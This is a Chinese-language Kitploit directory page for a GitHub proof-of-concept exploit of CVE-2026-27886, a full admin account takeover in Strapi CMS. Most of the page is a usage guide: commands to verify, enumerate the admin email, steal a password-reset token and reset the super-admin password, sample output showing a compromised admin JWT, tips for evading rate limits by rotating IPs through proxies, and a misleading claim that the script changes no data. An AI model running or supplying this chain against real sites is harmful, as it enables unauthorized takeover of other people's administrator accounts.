Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-27886-PoC-Account-Takeover — Strapi CMS 中 CVE-2026-27886 的完整账户接管 PoC | Kitploit
工具/GitHubGitHub/thesw0rd/cve-2026-27886-poc-account-takeover
侦察密码攻击漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试
GitHubthesw0rd/cve-2026-27886-poc-account-takeover

CVE-2026-27886-PoC-Account-Takeover

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Strapi CMS 中 CVE-2026-27886 的完整账户接管 PoC

查看仓库
233个月前尚未审核

CVE-2026-27886 自动化利用 - 使用指南

脚本功能概述

通过 4 组 HTTP 请求自动完成完整的账户接管链:

  1. 漏洞验证 - 确认目标存在漏洞
  2. 邮箱枚举 - 通过布尔判定方式提取管理员邮箱(约 500 次请求)
  3. 密码重置触发 - 启动 Strapi 的密码恢复流程
  4. 令牌窃取 - 截获 40 字符的重置令牌(约 320 次请求)
  5. 账户接管 - 使用窃取的令牌获取超级管理员 JWT

基本用法

仅验证模式(安全)

检查目标是否存在漏洞而不进行利用:

root@kitploit:~
./cve-2026-27886-exploit.py https://target/api/articles --verify-only

完整利用(最快)

如果你不知道管理员邮箱,自动化所有步骤:

root@kitploit:~
./cve-2026-27886-exploit.py https://target/api/articles

输出:

root@kitploit:~
[+] Target: https://target/api/articles
[+] Base URL: https://target
[*] Verifying vulnerability...
    [+] Vulnerable: baseline=12, where_test=0
[*] Enumerating admin email...
    [email protected]
[*] Triggering password reset for [email protected]...
    [+] Password reset triggered (HTTP 204)
[*] Extracting 40-char reset token...
    [100%] d1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a
[*] Resetting password with stolen token...
    [+] Password reset successful!
    [+] JWT: eyJhbGciOiJIUzI1NiIs...
    [+] User: [email protected] (ID: 1)

[+] SUCCESS! Admin account compromised.
[+] JWT Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

跳过邮箱枚举(更快)

如果你已经知道管理员邮箱(节省约500次请求):

root@kitploit:~
./cve-2026-27886-exploit.py https://target/api/articles \
  --email [email protected]

自定义密码

设置自定义密码替代默认密码:

root@kitploit:~
./cve-2026-27886-exploit.py https://target/api/articles \
  --email [email protected] \
  --password "MyPassword123!"

添加延迟(避免速率限制)

如果目标有速率限制:

root@kitploit:~
./cve-2026-27886-exploit.py https://target/api/articles \
  --delay 0.1

这会在每个请求之间增加100毫秒延迟(完整利用大约需要2-3分钟)。

显式指定基础URL

如果 /admin/* 端点位于不同的主机上:

root@kitploit:~
./cve-2026-27886-exploit.py https://api.target/articles \
  --base-url https://admin.target

常见问题

"非JSON响应"

  • 端点不正确(不是 Strapi 内容 API 集合)
  • 尝试:https://target/api/products、https://target/api/articles 等

"邮箱枚举失败"

  • 集合为空(没有 updated_by_id 外键)
  • 管理员角色与数据库中的任何用户不匹配
  • 如果存在多个端点,尝试其他端点

"重置令牌提取失败"

  • 密码重置未被触发
  • 管理员邮箱与猜测的不同
  • 令牌已过期(再次尝试,默认有效期约为24小时)

遭遇速率限制

  • 添加 --delay 0.05 或更高值
  • 或者使用 VPN/代理轮换 IP 地址

安全提示

本脚本:

  • ✅ 仅发送 GET/POST 请求(不修改数据)
  • ✅ 仅针对存在漏洞的 Strapi 查询参数绕过
  • ✅ 使用 Strapi 合法的密码重置端点
  • ✅ 不在目标上留下存储的痕迹
  • ⚠️ 过于明显 - 依次发起 800 多次请求(日志中明显可见)
下载工具